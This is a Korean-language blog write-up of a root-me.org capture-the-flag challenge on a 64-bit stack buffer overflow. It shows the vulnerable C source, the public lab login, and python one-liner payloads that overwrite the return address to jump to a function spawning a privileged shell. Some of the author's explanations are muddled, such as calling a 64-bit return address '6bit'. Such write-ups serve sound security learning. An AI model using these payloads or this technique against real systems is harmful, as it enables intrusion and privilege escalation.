[root-me.org] ELF x64 - Stack buffer overflow - basic Write-Up

두비니

·

2019. 11. 3. 00:28

 

 

::Login::

Host challenge03.root-me.org
Protocol SSH
Port 2223
SSH access ssh -p 2223 app-systeme-ch35@challenge03.root-me.org     WebSSH
Username app-systeme-ch35
Password app-systeme-ch35

 

 

::Code::

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
 
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
 
void callMeMaybe(){
    char *argv[] = { "/bin/bash", "-p", NULL };
    execve(argv[0], argv, NULL);
}
 
int main(int argc, char **argv){
 
    char buffer[256];
    int len, i;
 
    scanf("%s", buffer);
    len = strlen(buffer);
 
    printf("Hello %s\n", buffer);
 
    return 0;
}

 

 

main함수에서는 그냥 buffer를 입력받고 끝나는데, 여기서 callMeMaybe함수를 실행시켜야하네요.

참고로 callMeMaybe함수에 있는 execve함수는 그냥 파일을 실행시키는 명령어입니다.

scanf함수에서는 길이의 제한 없이 받기때문에, 여기서 그냥 ret의 값까지 덮어주도록 합시다.

 

 

보니 0x110을 할당해주는것을 보니 256 + 16(dummy)가 추가되서 할당되는군요. 항상 코드로만 파악하지 말고 이렇게 gdb로 따로 분석을 해줍시다.

그러면 우리의 payload는 

(python -c 'print "A"*272(buffer+dummy) + "B"*8(SFP) + "callMeMaybe의 주소"';cat) | ./ch35

가 되겠군뇨

 

그럼 저 함수의 주소만 구하면 끝이니까 얼른 ㄲ

 

 

위 캡쳐처럼 gdb로 열어서 info func나 p (함수명)으로 열어주면 됩니다.

참고로 이렇게 되는거는 gdb에서 symbol(간단하게 설명하자면 사용자지정 함수명?정도)이 인식될때만 가능한데, 아마 이렇게 파일이 제공되지 않는 문제들에서는 symbol이 인식 안될리 없으니까 안보이는 문제를 만났을때 설명하도록 하겠습니다.

 

그렇다면 payload는

 

(python -c 'print "A"*272 + "B"*8 + "\xe7\x05\40\x00"';cat) | ./ch35

 

이겠군요.

 

 

이렇게 했는데 segmentation fault가 왜뜨지????했는데

 

64bit에서는 리턴주소는 6bit라고 합니다. 몰랐자너.

 

그래서 final payload는

 

(python -c 'print "A"*272 + "B"*8 + "\xe7\x05\40\x00\x00\x00"';cat) | ./ch35

도 아님.

 

??????웨않뒈????

이유는 모르겠지만 "A"*272+"B"*8는 안되지만 "A"*280은 되더군요.... 왜인지 알게되면 업데이트함

 

 

 

끝! next